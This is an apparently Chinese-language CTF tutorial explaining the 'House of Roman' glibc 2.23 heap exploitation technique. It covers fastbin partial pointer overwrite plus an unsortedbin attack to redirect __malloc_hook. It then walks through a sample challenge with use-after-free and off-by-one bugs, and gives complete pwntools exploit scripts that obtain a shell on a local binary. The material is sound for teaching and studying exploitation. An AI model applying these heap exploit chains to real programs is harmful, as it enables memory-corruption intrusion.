House of roman

这个利用方式目前在2.23到2.29之间是可以利用的,而且对于漏洞点要求不高,主要是uaf和overflow(有一个uaf即可),在可以创建任意大小的堆块的情况下,不泄露出堆地址的情况下面,通过爆破(12bit也就是4096分之一),来getshell

House of Roman 的一个核心思路就是利用局部写减少随机化的程度,从而给出爆破的可能

原理解析(poc)

说是一种house of,但是其实本质上没有涉及什么新的东西,只是一种fastbin和unsortedbin的结合利用而已,攻击大致分为三个阶段:

  1. 通过低位地址改写使 fastbin chunk 的 fd 指针指向 __malloc_hook.
  2. 通过 unsortedbin attack 把 main_arena 写到 malloc_hook 上.
  3. 通过低位地址修改 __malloc_hook 为 one_gadget.

我们先申请四个堆块

image-20240728211103549

从上往下,依次为1,2,3,4,我们先free掉第三个堆块,这个时候,3号堆块会放进unsortedbin里面

image-20240728212110914

我们再申请一个0x60大小的堆块,这个时候会从3号堆块里面切割除来,我们申请的这个堆块里面就有main_arena的地址了

image-20240728212413666

然后就可以通过main_arena的地址,计算出malloc_hook的地址了

image-20240728213021283

其实可以发现,他们只有末三位不同,而末三位都是固定的,所以可以得到malloc_hook的地址

我们接着再释放4和1,这个时候链表是fastbin 0x70 -> chunk1 -> chunk4

image-20240728213342611

如果我们修改chunk1的fd指针,修改最后一个字节为00,这个链表就会变成chunk1 -> chunk3_1 -> chunk3_1 的 fd(chunk3_1)就是刚刚从3号堆块里面拆出来的那个0x60大小的堆块

image-20240728213551538

也就是这样,chunk3_1 的 fd 是我们可以修改掉的,通过修改后几位,将其改为malloc_hook - 0x23,接下来连续 malloc 两次,把 fastbin 中的 chunk malloc回去,再次 malloc 就能拿到一个指 malloc_hook 附近的 chunk

image-20240728213901599

像这样,那我们再次申请0x60堆块的时候,就可以申请到这里,但是在真正的漏洞利用中,由于 malloc_hook 的最后半字节是随机的,需要爆破

第二步:Unsorted_bin attack,使我们能够将较大的值写入任意位置。 这个较大的值为 main_arena + 0x68。 我们通过 unsorted bin attack 把 malloc_hook 写为 unsortedbin 的地址,这样只需要改低几个字节就可以把malloc_hook 改为 system 的地址了(而实际上,在2.29之后我们的Unsorted_bin attack就失效了,所以我们再2.29之后Roman也失效了)

我们申请一个0x80,一个0x30的堆块(这个是防止和top chunk合并的),准备进行unsortedbin_attack,

image-20240728214422853

我们free掉这个0x90的堆块,放入unsortedbin里面,然后覆盖当前堆块的fd末字节使得 bk 为 __malloc_hook-0x10

image-20240728232059831

再申请回来,完成攻击

image-20240728232227661

可以看到,我们的main_arena地址写进了mallooc_hook

我们只要修改末尾几个字节,改成one_gadget或者system函数就可以getshell

例题

我们先来分析一下程序

看一下保护

image-20240729092238761

主函数部分

image-20240729090908464

menu和初始化就不放了,glibc版本是2.23,主函数只有三个部分,add,edit和free,没有show函数,所以这也就意味着我们没有办法泄露libc(而实际上可以利用io,感兴趣的可以看我另一篇讲stdout的文章)

add函数

image-20240729091124292

可以申请任意大小的堆块,最多19个,没有什么漏洞

edit函数

image-20240729091219800

先输出idx,然后根据索引修改,这里有一个很明显的off by one漏洞

delete函数

image-20240729091319649

有一个uaf漏洞,然后就没有什么了

exp编写

在不考虑io利用的情况下,这一题毫无疑问是很标准的house of roman,通过fastbin attack + unsortedbin attack来减少爆破概率

我们来看看exp怎么编写

先创建四个堆块,大小分别为0x60,0x80,0x80,0x60,编号为0,1,2,3,free掉第三个堆块,也就是2号

这样二号堆块会被放进unsortedbin里面

from pwn import *
io=process('./pwn')
libc=ELF('libc-2.23.so')
def dbg():
    gdb.attach(io,"b *$rebase(0xaff)")

def add(size,idx):
    io.sendline("1")
    io.recvuntil(b':')
    io.sendline(str(size))
    io.recvuntil(b':')
    io.sendline(str(idx))

def free(idx):
    io.recv()
    io.sendline("3")
    io.recvuntil(b':')
    io.sendline(str(idx))

def edit(idx,data):
    io.recv()
    io.sendline("2")
    io.recvuntil(b':')
    io.sendline(str(idx))
    io.recvuntil(b':')
    io.send(data)#这里只能用send,不然会影响部分改

io.recv()
io.sendline(b'aaaa')

add(0x60,0)
add(0x80,1)
add(0x80,2)
add(0x60,3)
free(2)

dbg()
io.interactive()

image-20240729103310717

然后我们申请一个0x60大小的堆块,这样会从2号堆块里面切割出来带有mian_arena地址的堆块

再释放3和0,使得fastbin链表里面存有数据

image-20240729103627808

我们修改chunk0的fd指针,修改最后一个字节为00,这个链表就会变成chunk0 -> chunk2_1 ,也就是从二号堆块里面拆除来的那个输出fastbin的堆块

image-20240729104019696

可以看到,我们成功修改了指针,再申请两次就能申请到main_arena的位置了,如果我们再修改从二号堆块里面拆出来的这个堆块(也就是4号)的末尾指针,指向malloc_hook-0x23,就能只能填入system的地址,再getshell

edit(4,p16(0x3aed))
add(0x60,5)
add(0x60,6)

直接修改指针到malloc_hook-0x23(应该有半个字节要爆破,但是我本地关了aslr,所以就直接改了)

image-20240729104823335

可以看到,再申请一次就能改malloc_hook了

但是现在还有一个问题,因为没有泄露libc,所以不能直接改malloc为onegadget或者system的,也就是现在要再利用一次unsortedbin attack,把malloc_hook改掉,改成libc里面的数据,这里改的就是main_arena

申请两个堆块,一个0x80,一个0x30(防止合并),释放0x80,改bk指针为malloc-0x10

再申请回来,完成攻击

add(0x60,7)#malloc_hook-0x23
add(0x80,8)
add(0x30,9)
free(8)
edit(8,p64(0)+p8(0))
add(0x80,10)

image-20240729105642212

可以看到,我们完成了修改,再之后就是爆破了,因为最后三位固定,只有前三位要改,4096分之一的概率

我这里就不爆破了,概率确实有点感人了

image-20240729112200815

可以看到,我们已经把malloc_hook改成system了(偷个懒,不想找onegadget了)

那这道题就可以被我们getshell,在没有show的情况下

from pwn import *
io=process('./pwn')
libc=ELF('libc-2.23.so')
def dbg():
    gdb.attach(io,"b *$rebase(0xaff)")

def add(size,idx):
    io.sendline("1")
    io.recvuntil(b':')
    io.sendline(str(size))
    io.recvuntil(b':')
    io.sendline(str(idx))

def free(idx):
    io.recv()
    io.sendline("3")
    io.recvuntil(b':')
    io.sendline(str(idx))

def edit(idx,data):
    io.recv()
    io.sendline("2")
    io.recvuntil(b':')
    io.sendline(str(idx))
    io.recvuntil(b':')
    io.send(data)

io.recv()
io.sendline(b'aaaa')

add(0x60,0)
add(0x80,1)
add(0x80,2)
add(0x60,3)
free(2)
add(0x60,4)
free(3)
free(0)
edit(0,b'\x00')

edit(4,p16(0x3aed))
add(0x60,5)
add(0x60,6)
add(0x60,7)#malloc_hook-0x23

add(0x80,8)
add(0x30,9)
free(8)
edit(8,p64(0)+p8(0))
add(0x80,10)#unsortedbin attack

edit(7,b'a'*0x13+p16(0x5380)+p8(0x84))#改成onegadget
add(0x20,10)
dbg()
io.interactive()